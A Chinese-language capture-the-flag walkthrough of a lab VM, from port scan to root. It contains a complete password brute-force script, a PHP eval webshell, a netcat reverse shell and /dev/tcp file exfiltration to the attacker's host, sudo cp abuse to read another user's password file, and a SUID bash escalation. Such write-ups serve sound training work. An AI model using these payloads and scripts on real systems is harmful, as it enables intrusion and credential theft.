-
- 正文
-
- 1、端口扫描
- 2、web登录页面用户密码爆破
- 3、文件上传漏洞利用
- [4、nc 反弹](#4、nc 反弹)
- 5、Linux用户检索与特权分析
- 6、图片隐写
- 7、解密与格式转换
- 8、cp命令横向获取用户密码
- 9、diff命令进行文件比较
正文
kali攻击机地址:192.168.1.4
靶场地址:192.168.1.15
1、端口扫描
在kali里,使用nmap工具:
bash
nmap -sV -v -T4 -A 192.168.1.15

发现80和22端口开放,访问网页:

2、web登录页面用户密码爆破
抓包发现不填验证码,输入用户名和密码,也能返回"无效的用户名和密码":

编写密码爆破脚本1.py:
python
import requests
import random
import sys
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
from base64 import b64encode
from typing import Optional, Dict
# 全局会话,复用连接
session = requests.Session()
# 设置全局请求超时(秒)
TIMEOUT = 10
# 目标登录URL
LOGIN_URL = "http://192.168.1.15/login.php"
# RSA公钥(去除多余缩进,避免解析失败)
PUBLIC_KEY = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAtLlBu4KjqP4t7Bc6bf/2
1TrHJbKl5iGfAlxn/c1WxbjhA/BRoQNpGX7+8oROMarMDJnS2ddJBtpdAnovE3o+
NX45Eb1eTH9Isis/3mIXgVhuQ0Fhi11eo82hFQRXZOolJwfGqm7lL4r6OQJ96zur
IodiC2uxcmR/+YDjrhZhMlUYG2/OTm1bROEg1FV9gARh27SA4/VLbBsst69wS8Wj
m5fPQGd31QBN/8UvwyT/QCTpQdxV3PARXORVsdYLD+iNSrwwO/+cq6gNwthLxhbS
he40vUae0GtJjpkD5xJhkRXGuoj/D3/cd4KytNeiGezIeLQr+AER6kf6B8vHoPfk
eQIDAQAB
-----END PUBLIC KEY-----"""
def encrypt_password(password: str) -> Optional[str]:
"""
RSA加密密码(兼容前端JSEncrypt的PKCS1_v1_5填充)
:param password: 原始密码字符串
:return: 加密后的base64字符串,失败返回None
"""
try:
rsa_key = RSA.importKey(PUBLIC_KEY)
cipher = PKCS1_v1_5.new(rsa_key)
# 加密(需编码为bytes)
encrypted_bytes = cipher.encrypt(password.encode("utf-8"))
# base64编码并转回字符串
return b64encode(encrypted_bytes).decode("utf-8")
except Exception as e:
print(f"[!] 密码加密失败:{e} | 密码:{password}")
return None
def login(username: str, password: str) -> Optional[Dict]:
"""
发送登录请求
:param username: 用户名
:param password: 原始密码
:return: 登录响应的JSON数据,失败返回None
"""
# 加密密码
enc_password = encrypt_password(password)
if not enc_password:
return None
# 登录请求参数
data = {
"username": username,
"password": enc_password,
"captcha": "" # 若目标需验证码,需补充验证码识别/输入逻辑
}
try:
# 发送POST请求(JSON格式)
response = session.post(
url=LOGIN_URL,
json=data,
timeout=TIMEOUT,
headers={
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
"Content-Type": "application/json"
}
)
# 检查响应状态码
response.raise_for_status()
return response.json()
except requests.exceptions.Timeout:
print(f"[!] 登录请求超时({TIMEOUT}秒) | 密码:{password}")
except requests.exceptions.ConnectionError:
print(f"[!] 目标服务器连接失败 | 密码:{password}")
except requests.exceptions.HTTPError as e:
print(f"[!] HTTP请求错误:{e} | 密码:{password}")
except Exception as e:
print(f"[!] 登录请求异常:{e} | 密码:{password}")
return None
def brute_force_login(username: str, pass_file_path: str) -> None:
"""
密码爆破主逻辑
:param username: 目标用户名
:param pass_file_path: 密码字典文件路径
"""
# 读取密码字典
try:
with open(pass_file_path, "r", encoding="utf-8") as f:
passwords = [line.strip() for line in f if line.strip()]
except FileNotFoundError:
print(f"[!] 密码文件不存在:{pass_file_path}")
sys.exit(1)
except PermissionError:
print(f"[!] 无权限读取密码文件:{pass_file_path}")
sys.exit(1)
except Exception as e:
print(f"[!] 读取密码文件异常:{e}")
sys.exit(1)
total = len(passwords)
if total == 0:
print("[!] 密码字典为空")
sys.exit(1)
print(f"[*] 开始密码爆破 | 用户名:{username} | 密码总数:{total}")
print("-" * 50)
# 遍历密码爆破
for idx, password in enumerate(passwords, 1):
print(f"[{idx}/{total}] 尝试密码:{password}", end=" ")
result = login(username, password)
if not result:
print("→ 请求失败")
continue
# 登录成功判断(根据实际响应调整success字段)
if result.get("success"):
print("\n" + "=" * 50)
print(f"[+] 爆破成功!用户名:{username} | 密码:{password}")
print("=" * 50)
# 可在此处添加后续操作(如访问后台、保存结果等)
sys.exit(0)
else:
error_msg = result.get("error", "未知错误")
print(f"→ 登录失败:{error_msg}")
# 爆破完成未找到密码
print("-" * 50)
print("[!] 密码爆破完成,未找到有效密码")
if __name__ == "__main__":
# 命令行参数校验(用法:python 1.py <用户名> <密码字典路径>)
if len(sys.argv) != 3:
print("用法:python {} <用户名> <密码字典文件路径>".format(sys.argv[0]))
print("示例:python {} admin pass.txt".format(sys.argv[0]))
sys.exit(1)
# 获取命令行参数
target_username = sys.argv[1]
target_pass_file = sys.argv[2]
# 执行爆破
brute_force_login(target_username, target_pass_file)
拿到admin用户密码:justine

3、文件上传漏洞利用
登录进去后是个文件上传:

目录扫描能扫出来文件上传的路径:
bash
dirsearch -u 192.168.1.15

上传一句话木马文件到/uploads/目录下:
bash
<?php @eval($_POST['x']);?>

4、nc 反弹
蚁键右键打开终端,输入:
bash
busybox nc 192.168.1.4 4444 -e /bin/bash

kail记得开启4444端口监听:
bash
nc -lp 4444
kali调整bash格式:
bash
/usr/bin/script -qc /bin/bash /dev/null
CTRL+Z
stty raw -echo;fg
reset
xterm
5、Linux用户检索与特权分析
回到家目录,发现两个用户ihatemath和ilovelinux:

从根目录开始,查找所有 "所属用户组是 ihatemath"、 "所属用户组是 ilovelinux" 的文件或目录,同时忽略查找过程中出现的权限不足、文件不存在等错误提示:
bash
find / -group ihatemath 2>/dev/null
find / -group ilovelinux 2>/dev/null

将本地 /var/local/images.jpg 文件内容,通过 TCP 协议发送到 IP 为 192.168.1.4、端口为 1234 的远程主机上。
bash
cat /var/local/images.jpg > /dev/tcp/192.168.1.4/1234
kail配置:
bash
nc -lvp 1234 > images.jpg
# 用nc监听,接收数据并写入文件
# 若无nc,也可通过bash监听:cat > received_images.jpg < /dev/tcp/0.0.0.0/1234

6、图片隐写
查看图片隐藏属性:
bash
exiftool images.jpg
发现摩斯码:

7、解密与格式转换
解码后发现还要转HEX:

转换后,拿到ilovelinux用户的hash密码48415050595f445241474f4e5f424f41545f464553544956414c:

bash
ssh ilovelinux@192.168.1.15
#然后输入密码

查看ilovelinux用户的特权操作:

| 输出内容 | 含义 |
|---|---|
Matching Defaults entries for ilovelinux on cp520: |
开始展示 ilovelinux 用户在 cp520 主机上的 sudo 默认配置 |
env_reset, mail_badpass, secure_path=... |
sudo 默认配置项: - env_reset:执行 sudo 命令时重置环境变量,保证安全 - mail_badpass:密码错误时发送邮件提醒(通常给 root) - secure_path:sudo 执行命令时的默认 PATH 路径(限定命令查找范围,防止恶意脚本) |
User ilovelinux may run the following commands on cp520: |
核心结果:明确 ilovelinux 用户在 cp520 主机上可执行的 sudo 命令 |
(ihatemath) /bin/cp |
授权详情(最关键): - (ihatemath):可切换到 ihatemath 用户身份执行(括号内是允许切换的用户,若为 (ALL) 则可切换到任意用户) - /bin/cp:仅允许执行 /bin/cp 命令(Linux 系统的文件复制命令) |
8、cp命令横向获取用户密码
那就执行复制命令,拿到ihatemath用户的口令3c5611f0ae3f :
bash
touch /tmp/a
chmod 777 /tmp/a
ls -l /tmp/a
sudo -u ihatemath /bin/cp /opt/ihatemath.pass /tmp/a
cat /tmp/a

| 命令 / 输出内容 | 含义与核心目的 |
|---|---|
touch /tmp/a |
核心操作:在 /tmp 目录创建空文件 a。 ✨ 目的:为后续复制敏感文件内容做 "载体"(/tmp 是所有用户可读写的公共目录)。 |
chmod 777 /tmp/a |
核心操作:修改 /tmp/a 的权限为 777(所有用户可读、可写、可执行)。 ✨ 目的:确保 ihatemath 用户(后续执行 cp 的身份)能向这个文件写入内容,避免权限不足。 |
ls -l /tmp/a |
验证操作:查看 /tmp/a 的权限和属性。 输出解读: - -rwxrwxrwx:权限为 777(所有人可读写执行); - 1 ilovelinux ilovelinux:文件属主 / 属组是 ilovelinux; - 0:文件大小为 0(空文件); ✨ 目的:确认权限修改成功,为后续复制铺路。 |
sudo -u ihatemath /bin/cp /opt/ihatemath.pass /tmp/a |
核心利用:以 ihatemath 用户身份执行授权的 /bin/cp 命令,将 /opt/ihatemath.pass(ilovelinux 无权限直接读取的敏感文件)复制到 /tmp/a。 ✨ 关键:ilovelinux 本身读不了 /opt/ihatemath.pass,但能通过 sudo 切换到 ihatemath 执行 cp,间接获取文件内容。 |
cat /tmp/a |
读取结果:查看 /tmp/a 的内容,输出 3c5611f0ae3f(大概率是 ihatemath 的密码哈希 / 明文密码)。 ✨ 目的:通过可读写的 /tmp/a,拿到原本无权限访问的敏感文件内容。 |
su - 成功切换到ihatemath用户:

查看ihatemath用户的特权操作,并执行:

9、diff命令进行文件比较
通过以下命令拿到root目录下的flag:
bash
diff whatsthis /bin/bash
./whatsthis -p
cd /root

| 命令 / 输出内容 | 含义与核心目的 |
|---|---|
diff whatsthis /bin/bash |
diff 命令对比 whatsthis 和系统原生 /bin/bash。 ✨ 无任何输出,说明两个文件二进制内容完全一致 ,whatsthis 是 bash 的完整副本。 |
./whatsthis -p |
执行当前目录下的 whatsthis 文件,并传入 -p 参数。 ✨ -p 是 bash 的特权模式参数,作用是:即使进程的有效用户 ID(EUID)与实际用户 ID(UID)不一致,也不重置环境变量、不降低权限,保留特权。 |
cd /ro |
执行 ./whatsthis -p 后,提示符从 $ 变成了 #,说明你已经获得了 root 权限 (# 是 root 用户的提示符)。 后面的 cd /ro 是输入到一半的命令,大概率是 cd /root(切换到 root 家目录)。 |